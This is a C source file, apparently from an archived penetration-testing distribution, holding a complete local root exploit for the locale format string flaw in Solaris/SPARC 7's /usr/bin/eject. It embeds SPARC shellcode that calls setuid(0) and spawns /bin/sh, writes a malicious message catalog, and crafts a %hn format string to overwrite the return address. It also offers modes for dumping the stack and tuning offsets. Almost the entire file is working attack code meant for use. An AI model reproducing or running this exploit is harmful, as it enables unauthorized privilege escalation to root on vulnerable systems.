home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / locale.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  301 lines

  1. /*
  2.    Exploit for the locale format string vulnerability in Solaris/SPARC 2.7 / 7
  3.    Based on the exploit by Warning3 <warning3@nsfocus.com>
  4.  
  5.    For additional information see http://www.phreedom.org/solar/locale_sol.txt
  6.  
  7.    By Solar Eclipse <solareclipse@phreedom.org>
  8.    Assistant Editor,
  9.    Phreedom Magazine
  10.    http://www.phreedom.org
  11.  
  12.    10 Oct 2000
  13. */
  14.  
  15. #include <stdio.h>
  16. #include <sys/systeminfo.h>
  17.  
  18. #define NUM     98          /* default number of words to dump from the stack */
  19. #define ALIGN   3           /* default align (can be 0, 1, 2, 3) */
  20. #define RETLOCOFS -16       /* default offset of the return address location */
  21. #define SHELLOFS -6         /* default offset of the jump location from the beginning of the shell buffer */
  22. #define RETLOC  0xfffffffd
  23.  
  24. #define PATTERN 1024        /* format string buffer size */
  25. #define SHELL   1024        /* shell buffer size */
  26.  
  27. #define NOP     0xac15a16e
  28.  
  29. #define VULPROG "/usr/bin/eject"
  30.  
  31. char shellcode[] =      /* from scz's funny shellcode for SPARC */
  32.     "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"  /* setuid(0)  */
  33.     "\xaa\x1d\x40\x15\x90\x05\x60\x01\x92\x10\x20\x09"  /* dup2(1,2)  */
  34.     "\x94\x05\x60\x02\x82\x10\x20\x3e\x91\xd0\x20\x08"
  35.     "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
  36.     "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
  37.     "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
  38.     "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  39.     "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";
  40.  
  41. /* get current stack point address */
  42.  
  43. long get_sp(void)
  44. {
  45.     __asm__("mov %sp,%i0");
  46. }
  47.  
  48. /* prints a long to a string */
  49.  
  50. char* put_long(char* ptr, long value)
  51. {
  52.     *ptr++ = (char) (value >> 24) & 0xff;
  53.     *ptr++ = (char) (value >> 16) & 0xff;
  54.     *ptr++ = (char) (value >> 8) & 0xff;
  55.     *ptr++ = (char) (value >> 0) & 0xff;
  56.  
  57.     return ptr;
  58. }
  59.  
  60. /* check if a long contains zero bytes */
  61.  
  62. int contains_zero(long value)
  63. {
  64.     return !((value & 0x00ffffff) &&
  65.              (value & 0xff00ffff) &&
  66.              (value & 0xffff00ff) &&
  67.              (value & 0xffffff00));
  68.  
  69. }
  70.  
  71. /* create the shell buffer */
  72.  
  73. void create_shellbuf(char* shellbuf, int align, int retloc)
  74. {
  75.     char *ptr;
  76.     int i;
  77.  
  78.     /* check align parameter */
  79.  
  80.     if (align < 0 || align > 3) {
  81.         printf("Error: align is %d, it should be between 0 and 3\n", align);
  82.         exit(1);
  83.     }
  84.  
  85.     /* check retloc parameter */
  86.  
  87.     if (contains_zero(retloc) || contains_zero(retloc+2) ) {
  88.         printf("Error: retloc (0x%x) or retloc+2 (0x%x) contains a zero byte\n", retloc, retloc+2);
  89.         exit(1);
  90.     }
  91.  
  92.     /* start constructing the shell buffer */
  93.  
  94.     ptr = shellbuf;
  95.  
  96.     for (i = 0; i < align; i++) {
  97.         *ptr++ = 0x41;      /* alignment padding */
  98.     }
  99.  
  100.     ptr = put_long(ptr, 0x42424242);        /* this is used by the %u format specifier */
  101.  
  102.     ptr = put_long(ptr, retloc);            /* put the address of the low order half-word of the return
  103.                                                address on the stack */
  104.  
  105.     ptr = put_long(ptr, 0x42424242);        /* this is used by the %u format specifier */
  106.  
  107.     ptr = put_long(ptr, retloc + 2);        /* put the address of the high order half-word of the
  108.                                                return address on the stack */
  109.  
  110.     /* fill the shellbuf with NOP instructions but leave enough space for the shell code */
  111.  
  112.     while ((long)ptr + 4 + strlen(shellcode) + 1 < (long)shellbuf + SHELL) {
  113.         ptr = put_long(ptr, NOP);
  114.     }
  115.  
  116.     memcpy(ptr, shellcode, strlen(shellcode));      /* copy the shellcode */
  117.     ptr = ptr + strlen(shellcode);
  118.  
  119.     /* add additional padding to the shell buffer to make sure its size is always the same */
  120.  
  121.     while ((long)ptr < (long)shellbuf + SHELL - 1) {
  122.         *ptr++ = 0x41;
  123.     }
  124.  
  125.     *ptr = 0;                               /* null-terminate */
  126.  
  127.     /* at this point the shell buffer should be exactly SHELL bytes long, including the null-terminator */
  128.  
  129.     if (strlen(shellbuf) + 1 != SHELL) {
  130.         printf("Error: The shell buffer is %d bytes long. It should be %d bytes. Something went terribly wrong...\n",
  131.                 strlen(shellbuf)+1, SHELL);
  132.         exit(1);
  133.     }
  134.  
  135.     return;
  136. }
  137.  
  138. /* execute the vulnerable program using our custom environment */
  139.  
  140. void execute_vulnprog(char* pattern, char* shellbuf)
  141. {
  142.     char *env[3];
  143.     FILE *fp;
  144.  
  145.     /* create message files */
  146.  
  147.     if (strlen(pattern) > 512) {
  148.         printf("Warning: The pattern is %d bytes long. Only the first 512 bytes will be used.\n", strlen(pattern));
  149.     }
  150.  
  151.     if ( !(fp = fopen("messages.po", "w+")) ) {
  152.         perror("Error openning messages.po for writing.");
  153.         exit(1);
  154.     }
  155.  
  156.     fprintf(fp, "domain \"messages\"\n");
  157.     fprintf(fp, "msgid  \"usage: %%s [-fndq] [name | nickname]\\n\"\n");
  158.     fprintf(fp, "msgstr \"%s\\n\"", pattern);
  159.     fclose(fp);
  160.  
  161.     system("/usr/bin/msgfmt messages.po");
  162.     system("cp messages.mo SUNW_OST_OSCMD");
  163.     system("cp messages.mo SUNW_OST_OSLIB");
  164.  
  165.     /* prepere the environment for the VULNPROG process */
  166.  
  167.     env[0] = "NLSPATH=:.";
  168.     env[1] = shellbuf;              /* put the shellbuf in env */
  169.     env[2] = NULL;                  /* end of env */
  170.  
  171.     /* execute the vulnerable program using our custom environment */
  172.  
  173.     execle(VULPROG, VULPROG, "-x", NULL, env);
  174. }
  175.  
  176.  
  177. /* print the program usage */
  178.  
  179. void usage(char *prg)
  180. {
  181.     printf("Usage:\n");
  182.     printf("    %s [command] [options]\n\n", prg);
  183.     printf("Commands:\n");
  184.     printf("  dump                   Dumps the stack\n");
  185.     printf("  shell                  Dumps the shell buffer\n");
  186.     printf("  exploit                Exploits /usr/bin/eject\n\n");
  187.     printf("Options:\n");
  188.     printf("  --num=96               Number of words to dump from the stack\n");
  189.     printf("  --align=2              Sets the alignment (0, 1, 2 or 3)\n");
  190.     printf("  --shellofs=-6          Offset of the shell buffer\n");
  191.     printf("  --retlocofs=-4         Retloc adjustment (must be divisible by 4)\n");
  192.     printf("  --retloc=0xeffffa3c    Location of the return address\n");
  193.  
  194.     exit(0);
  195. }
  196.  
  197. /* main */
  198.  
  199. main(int argc, char **argv)
  200. {
  201.     char shellbuf[SHELL], pattern[PATTERN], platform[256];
  202.     char *ptr;
  203.     long sp_addr, sh_addr, jmp_addr, reth, retl;
  204.     int num = NUM, align = ALIGN, shellofs = SHELLOFS, retlocofs = RETLOCOFS, retloc = RETLOC;
  205.     int i;
  206.  
  207.     int dump = 0, shell = 0, exploit = 0;
  208.  
  209.     /* read the exploit arguments */
  210.  
  211.     if (argc < 2) {
  212.         usage(argv[0]);
  213.     }
  214.  
  215.     if (!strncmp(argv[1], "dump", 4)) { dump = 1; }
  216.     else if(!strncmp(argv[1], "shell", 5)) { shell = 1; }
  217.     else if(!strncmp(argv[1], "exploit", 7)) { exploit = 1; }
  218.     else {
  219.         usage(argv[0]);
  220.     }
  221.  
  222.     for (i = 2; i < argc; i++) {
  223.         if ( (sscanf(argv[i], "--align=%d", &align) ||
  224.               sscanf(argv[i], "--num=%d", &num) ||
  225.               sscanf(argv[i], "--shellofs=%d", &shellofs) ||
  226.               sscanf(argv[i], "--retlocofs=%d", &retlocofs) ||
  227.               sscanf(argv[i], "--retloc=%x", &retloc))== 0) {
  228.                 printf("Unrecognized option %s\n\n", argv[i]);
  229.                 usage(argv[0]);
  230.             }
  231.     }
  232.  
  233.     /* create the shell buffer */
  234.  
  235.     create_shellbuf(shellbuf, align, retloc);
  236.  
  237.     /* calculate memory addresses */
  238.  
  239.     sysinfo(SI_PLATFORM, platform, 256);            /* get platform info  */
  240.  
  241.     sp_addr = (get_sp() | 0xffff) & 0xfffffffc;     /* get stack bottom address */
  242.     sh_addr = sp_addr - (strlen(VULPROG)+1) - (strlen(platform)+1) - (strlen(shellbuf)+1) + shellofs;
  243.  
  244.     /* sh_add now points to the beginning of the shell buffer */
  245.  
  246.     printf("Calculated shell buffer address: 0x%x\n", sh_addr);
  247.  
  248.     if (shell == 1) {
  249.         put_long(&shellbuf[align], sh_addr);        /* put sh_addr on the stack */
  250.     }
  251.  
  252.     if ( ((sh_addr + align) & 0xfffffffc) != (sh_addr + align) ) {
  253.         printf("Warning: sh_addr + align must be word aligned. Adjust shellofs and align as neccessary\n");
  254.     }
  255.  
  256.     if (retloc == RETLOC) {                         /* if retloc was not specified on the command line, calculate it */
  257.         retloc = sh_addr + align - num*4 + retlocofs;
  258.         printf("Calculated retloc: 0x%x\n", retloc);
  259.  
  260.         put_long(&shellbuf[align+4], retloc);
  261.         put_long(&shellbuf[align+12], retloc+2);
  262.     }
  263.  
  264.     jmp_addr = (sh_addr + align) + 64;              /* Calculate the shell jump location */
  265.     printf("Calculated shell code jump location: 0x%x\n\n", jmp_addr);
  266.  
  267.     /* create the format string */
  268.  
  269.     ptr = pattern;
  270.     for (i = 0; i < num; i++) {
  271.         memcpy(ptr, "%.8x", 4);
  272.         ptr = ptr + 4;
  273.     }
  274.  
  275.     if (dump == 1) {
  276.         *ptr = 0;                                   /* null-terminate */
  277.         printf("Stack dump mode, dumping %d words\n", num);
  278.     }
  279.     else if (shell == 1) {
  280.         sprintf(ptr, " Shell buffer: %%s");
  281.  
  282.         printf("shellbuf (length = %d): %s\n\n", strlen(shellbuf)+1, shellbuf);
  283.         printf("Shell buffer dump mode, shell buffer address is 0x%x\n", sh_addr);
  284.     }
  285.     else {
  286.         reth = (jmp_addr >> 16) & 0xffff;
  287.         retl = (jmp_addr >> 0) & 0xffff;
  288.  
  289.         sprintf(ptr, "%%%uc%%hn%%%uc%%hn", (reth - num * 8), (retl - reth));
  290.         printf("Exploit mode, jumping to 0x%x\n", jmp_addr);
  291.     }
  292.  
  293.     printf("num: %d\t\talign: %d\tshellofs: %d\tretlocofs: %d\tretloc: 0x%x\n\n",
  294.             num, align, shellofs, retlocofs, retloc);
  295.  
  296.     /* execute the vulnerable program using our custom environment */
  297.  
  298.     execute_vulnprog(pattern, shellbuf);
  299.  
  300. }
  301. /*                   www.hack.co.za   [20 November 2000]*/